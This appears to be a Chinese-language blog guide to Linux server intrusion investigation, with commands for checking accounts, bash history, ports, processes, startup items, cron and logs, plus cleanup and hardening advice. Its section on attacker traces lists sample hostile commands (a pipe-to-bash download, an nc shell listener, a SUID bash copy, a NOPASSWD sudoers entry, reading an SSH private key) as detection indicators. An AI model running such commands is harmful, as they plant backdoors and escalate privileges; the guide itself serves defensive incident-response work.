Linux 服务器入侵排查完整实战指南(附全套排查命令)

Linux 服务器入侵排查完整实战指南(附全套排查命令)

文章简介

企业服务器遭遇挖矿、Webshell、SSH 暴力破解、后门提权等入侵事件时,需要一套标准化排查流程快速取证、清除恶意程序、还原攻击链路。本文结合真实应急响应案例,整理 Linux 全维度入侵排查思路,覆盖账号、历史命令、网络端口、异常进程、启动项、定时任务、日志七大核心模块,附带可直接复制的排查命令与恶意特征识别技巧,运维、安全工程师可直接落地使用。

1、前言

当服务器出现 CPU 满载、带宽异常、陌生远程登录、业务卡顿等告警时,基本判定存在入侵风险。应急响应核心目标:

快速定位恶意后门、挖矿程序、提权账号;

追溯攻击入口(弱口令、漏洞、文件上传等);

清理持久化后门,避免病毒反复复活;

给出加固方案,修复安全漏洞。

本文基于线上真实入侵事件复盘,梳理标准化排查流程,适用于 CentOS、Ubuntu、Debian 全系 Linux 发行版。

2、整体排查思路

遵循账号→命令痕迹→网络→进程→自启动→定时任务→系统日志由浅入深排查逻辑:

身份层:检查异常账号、隐藏 UID=0 特权用户、非法 sudo 权限;

行为层:分析用户 bash 历史命令,还原攻击者操作;

网络层:排查异常外联端口、反弹 Shell、矿池 C2 通信;

进程层:定位隐藏木马、挖矿进程,通过 /proc 目录溯源恶意文件;

持久化层:开机自启、定时 Cron 任务(攻击者常驻主机核心手段);

日志层:SSH 登录、sudo 提权、系统操作日志溯源攻击时间线。

第一部分:账号安全排查(后门账号最常见入侵手段)

攻击者入侵后优先创建隐藏特权账号、开放空密码、赋予免密 sudo 权限,实现长期控制。

2.1 核心用户文件解析

/etc/passwd:存储所有系统账号信息 字段格式:用户名:密码占位符:UID:GID:注释:家目录:登录Shell

UID=0:除 root 外其他账号均为恶意特权账号,可直接提权 root;

Shell 为/bin/bash:支持远程登录;/sbin/nologin禁止登录。

/etc/shadow:存储用户密码哈希(仅 root 可读) 第二字段密码标识对照表: | 字段前缀 | 含义 | 风险等级 | | ---- | ---- | ---- | | $1$ | MD5 哈希 | 低(弱加密易爆破) | | $5$ | SHA256 哈希 | 中 | | $6$ | SHA512 哈希 | 标准加密 | | y$ | yescrypt | 新版加密 | | ! | 账号锁定,禁止密码登录 | 安全 | | * | 系统内置账号,无登录权限 | 安全 | | 空值 | 空密码,任意远程登录 | 极高危 | | !$6$xxx | 原有密码被锁定 | 安全 |

2.2 账号排查命令合集

bash

运行

# 1. 查看全部系统账号

cat /etc/passwd

getent passwd

# 2. 查找UID=0特权账号(除root外全部可疑)

awk -F: '$3==0{print $1}' /etc/passwd

# 3. 筛选拥有有效登录密码的用户

awk -F: '$2 ~ /^\$[156y]/ {print $1}' /etc/shadow

# 4. 检查非法sudo权限用户

grep "ALL=(ALL)" /etc/sudoers

# 5. 查看当前在线登录用户(tty本地、pts远程SSH)

who

w

uptime

# 6. 异常账号处置命令

usermod -L hacker # 锁定可疑账号,shadow密码段加!

userdel hacker # 删除账号(保留家目录)

userdel -r hacker # 删除账号+对应/home家目录

2.3 实战案例

排查时发现hacker:!:20392:0:99999:7:::异常账号,家目录/home/hacker存在.bash_history恶意下载、后门执行命令,判定为黑客创建后门账号。

第二部分:历史命令痕迹排查(还原攻击者操作)

攻击者执行 wget/curl 下载木马、nc 反弹 shell、添加定时任务等操作会留存 bash 历史,即使执行history -c清空内存记录,磁盘.bash_history文件仍保留完整操作。

3.1 排查命令

bash

运行

# 1. 查看当前root内存中历史命令

history

# 2. 遍历所有用户历史命令(重点root、www-data、新增可疑账号)

find /home -name ".bash_history"

cat /root/.bash_history

cat /home/hacker/.bash_history >> history_back.txt # 导出取证

# 3. 高频恶意命令特征(检索匹配)

grep -E "curl|wget|nc|bash|base64|crontab|chmod +s|sudoers" /root/.bash_history

3.2 典型恶意操作特征

远程下载执行后门:curl http://xxx/shell.sh | bash、wget xxx/backdoor -O /tmp/xxx;

反弹 Shell 后门:nc -lvp 4444 -e /bin/bash;

SUID 提权后门:cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash;

持久化权限后门:echo 'bob ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers;

Base64 加密载荷、私钥窃取:cat ~/.ssh/id_rsa、读取authorized_keys免密 SSH 公钥。

第三部分:异常端口与网络连接排查

攻击者需要网络通信控制主机,常见行为:挖矿外联矿池、反弹 Shell 监听端口、C2 木马长连接、SOCKS 代理隧道。

4.1 常用网络排查命令

bash

运行

# 传统netstat(兼容低版本系统)

netstat -antlp | more

netstat -ano | grep ESTABLISHED

# 新版ss(效率更高,推荐)

ss -antp

ss -antlp # 查看监听端口+对应进程PID

# 查看端口对应进程文件

lsof -i

ls -l /proc/$PID/exe

参数说明:

-a:全部连接;-n:数字 IP 不解析域名;-t:TCP 连接;-l:监听端口;-p:显示进程 PID

4.2 高危异常端口判定

非业务监听端口(4444、9001、31337 等常见后门端口);

大量外联境外陌生 IP、矿池域名;

本地端口对外建立大量 ESTABLISHED 长连接。

第四部分:异常进程深度排查(挖矿 / 后门核心定位)

入侵后挖矿、Rootkit、木马进程会占用 CPU / 内存,部分恶意程序会删除自身源文件,但/proc虚拟文件系统会保留进程完整信息。

5.1 基础进程查看

bash

运行

# 按CPU降序排序,快速定位挖矿程序

ps aux --sort=-%cpu | head -20

top

htop

# 过滤挖矿关键词

ps aux | grep -E "xmrig|miner|kinsing|kdevtmpfsi"

5.2 /proc 目录溯源恶意进程(关键取证手段)

/proc/[PID]存放对应进程运行时所有信息,即使程序已被rm删除,仍可 dump 恶意文件:

bash

运行

# 查看进程真实二进制路径(标注deleted代表文件已自删)

ls -l /proc/$PID/exe

# 查看进程打开的文件、网络套接字

ls -la /proc/$PID/fd

# 导出已删除的恶意程序样本用于分析

cp /proc/$PID/exe /tmp/malware.bin

实战案例:/proc/7/fd/255 -> '/usr/local/bin/start.sh (deleted)',脚本执行rm -- "$0"自删除,写入隐藏后门配置,属于典型持久化木马。

第五部分:开机启动项排查(持久化后门)

攻击者修改开机自启配置,服务器重启后恶意程序自动运行。

6.1 Linux 运行级别说明

表格

运行级别

作用

0

关机

1

单用户修复模式

2

无 NFS 字符界面

3

标准命令行模式(服务器默认)

4

系统保留

5

图形桌面

6

重启

6.2 自启文件排查命令

bash

运行

# 全局开机脚本

cat /etc/rc.local

ls -l /etc/rc.d/rc3.d/

# systemd系统服务排查(CentOS7+/Ubuntu16+)

systemctl list-unit-files --type=service --state=enabled

ls /etc/systemd/system/

识别规则:S开头软链接开机启动,K开头开机关闭;陌生.service、自启脚本全部标记可疑。

第六部分:定时任务 Cron 排查(最容易忽略的持久化方式)

挖矿、远控木马几乎全部依靠 Cron 定时拉取更新、重启程序,只杀进程不清理定时任务会导致病毒反复复活。

7.1 全量 Cron 路径全覆盖排查

bash

运行

# 当前用户定时任务

crontab -l

# 系统级定时任务文件

cat /etc/crontab

ls /etc/cron.d/

ls /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

cat /etc/anacrontab

# 所有用户定时任务存储目录

ls /var/spool/cron/

7.2 恶意 Cron 特征

每分钟执行 wget/curl 下载脚本、执行 /tmp 目录下未知二进制、后台静默运行挖矿程序。

第七部分:系统日志与补充全量排查命令

8.1 登录安全日志(溯源入侵时间、攻击 IP)

bash

运行

# Ubuntu/Debian SSH登录日志

cat /var/log/auth.log

grep "Failed password" /var/log/auth.log # 暴力破解记录

grep "Accepted password" /var/log/auth.log # 成功登录IP

# CentOS/RHEL安全日志

cat /var/log/secure

8.2 全套综合排查命令(应急一键复制执行)

bash

运行

# 系统基础信息

uname -a

cat /etc/hostname

cat /etc/resolv.conf

df -h

mount

# 查找SUID提权文件(高危提权载体)

find / -perm -4000 2>/dev/null

# 搜索私钥、证书、配置文件

find / -name "*.pem" 2>/dev/null

find / -name "*.conf" 2>/dev/null

# 检查shadow文件是否被锁定篡改

lsattr /etc/shadow

# 查找/tmp临时目录恶意文件(攻击者常用存放目录)

ls -la /tmp

入侵事件处置流程

隔离:断开服务器外网,避免对内网横向渗透、挖矿损耗带宽;

取证:导出 bash 历史、日志、恶意程序样本、网络连接记录;

清理

kill 恶意进程,删除木马二进制;

删除可疑账号、清理非法 sudo 配置;

注释 / 删除全部恶意定时任务、开机自启脚本;

防火墙拉黑外联矿池、C2 恶意 IP;

溯源:确认入侵入口(弱口令 / 漏洞 / 上传木马);

加固:修改全量账号强密码、关闭不必要端口、限制 SSH 登录 IP、定时巡检 Cron 与启动项。

服务器长期安全加固建议

SSH 禁用 root 远程登录,使用密钥登录,限制登录来源 IP;

所有账号设置 16 位以上大小写 + 数字 + 特殊符号强密码;

定期巡检/etc/passwd、Cron 任务、开机自启;

部署主机安全监控,告警 CPU 异常、陌生外联、新增账号;

禁用不必要 SUID 程序,定期更新系统内核与软件包;

/tmp 目录限制执行权限,禁止未知程序运行。

相关探索